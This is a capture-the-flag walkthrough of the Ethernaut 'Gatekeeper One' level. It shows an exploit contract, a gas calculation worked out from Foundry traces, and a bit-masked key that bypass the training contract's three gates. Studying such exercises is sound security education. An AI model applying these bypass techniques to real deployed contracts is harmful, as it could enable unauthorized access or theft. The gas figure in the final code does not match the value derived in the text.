CTF walkthrough, Ethernaut, #14 Gatekeeper One

To solve this challenge we must register as an entrant.

 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "forge-std/console2.sol";

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
            "GatekeeperOne: invalid gateThree part one"
        );
        require(
            uint32(uint64(_gateKey)) != uint64(_gateKey),
            "GatekeeperOne: invalid gateThree part two"
        );
       require(
            uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
            "GatekeeperOne: invalid gateThree part three"
        );
        _;
    }

    function enter(bytes8 _gateKey)
        public
        gateOne
        gateTwo
        gateThree(_gateKey)
        returns (bool)
    {
        entrant = tx.origin;
        return true;
    }
}

Analysis & Exploit

 function enter(bytes8 _gateKey)
    public
    gateOne
    gateTwo
    gateThree(_gateKey)
    returns (bool)
{
    entrant = tx.origin;
    return true;
}

The enter function has 3 modifiers that perform some checks. The first two modifiers don’t take any parameters and the last one expects the bytes8 _gateKey. On success, it assigns tx.origin to entrant and returns true.

For simplicity, I’m going to use console2 from the forge-std and add a few console2.log’s in order to understand through which gates we’ve passed (we could use a debugger as well):

import "forge-std/console2.sol";

...
modifier gateOne() {
    ...
    console2.log("gate 1");
    _;
}

modifier gateTwo() {
    ...
    console2.log("gate 2");
    _;
}

modifier gateThree() {
    ...
    console2.log("gate 3");
    _;
}

Now, let’s explore these modifiers.

gateOne

modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

We’ve already seen this check in the Telephone level. To bypass it we’ll use an intermediate contract:

 contract GatekeeperOneExploit {
    GatekeeperOne private immutable level;

    constructor(GatekeeperOne _level) {
        level = _level;
    }

    function run() public {
        level.enter(bytes8(0x0));
    }
}

gateTwo

The next one is a bit trickier:

 modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
}

To pass through this gate we must satisfy the condition require(gasleft() % 8191 == 0).

The % is a modulo operator, which yields a remainder after a division. From the Solidity docs we know that gasleft() returns how much gas is left for the currently running function.

The function gasleft was previously known as msg.gas, which was deprecated in version 0.4.21 and removed in version 0.5.0.
Before Solidity 0.6.2, the recommended way to specify the value and gas was to use f.value(x).gas(g)(). This was deprecated in Solidity 0.6.2 and is no longer possible since Solidity 0.7.0.

Solidity allows us to specify precisely how much gas we want to use for a specific function. We want to give such an amount of gas to the enter function so that gasleft() % 8191 == 0 expression evaluates to true. Let’s try to calculate how much gas it spends just before the call to require:

modifier gateTwo() {
    console2.log(gasleft());
    require(gasleft() % 8191 == 0);
    console2.log("gate 2");
    _;
}

For example, let’s give it 100000 gas:

level.enter{gas: 100000}(bytes8(0x0));

And have a look at the trace:

Running 1 test for src/test/GatekeeperOne.t.sol:GatekeeperOneTest
[FAIL. Reason: Revert] testGatekeeperOne() (gas: 450050)

Logs:
  gate 1
  96580

Let’s see… 🤔

  • \( Gas_{left} = Gas_{initial} - Gas_{spent} \)
  • \( Gas_{spent} = 100000 − 96580 = 3420 \)
  • \( Gas_{left} = Gas_{initial} - 3420 \)

To satisfy \( Gas_{left} \bmod 8191 = 0 \) we must give it exactly \( 8191 + Gas_{spent} = 8191 + 3420 = 11611 \). Obviously, this amount of gas is not enough, so let’s add a little more: \( 3420 + 8191 × 100 = 822520 \). The console2.log(gasleft()) takes 330 gas itself, so we need to remove it from the gateTwo() function, since we don’t need it anymore. Thus we passed through the 2nd gate!

Instead of using console2.log to calculate the gas spent, we could have used the remix debugger or some other EVM-debugger that allows you to check the remaining gas. Here I just leverage the fact that I’m playing in a local environment and using foundry.

gateThree

The following 3 conditions must be satisfied:

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

To get through the last one we must have a good understanding of implicit and explicit type conversion rules and bitwise operations in Solidity.

Basically, there are 4 things we need to know:

  • If an operator is applied to different types, the compiler tries to implicitly convert one of the operands to the type of the other without loosing information. So generally it converts to a larger type.
  • Converting a smaller integer to a larger type will pad it on the left.
  • Converting fixed-size bytes types to a smaller type will cut off the sequence.
  • Bit masking.

Here is an example key:

function run() public {
    bytes8 tail = bytes8(uint64(uint16(uint160(tx.origin))));
    bytes8 head = bytes2(0xffff);
    bytes8 key = bytes8(head | tail);
    level.enter{gas: 11611 + 8191*100}(key);
}

References


The complete code is here. Thank you for reading. This post was a bit rushed 🙃 I hope I can get back to it later and explain typecasting and bit manipulation magic in the gateThree. But now let’s move on to the next challenge: CTF walkthrough, Ethernaut, #15 Gatekeeper Two!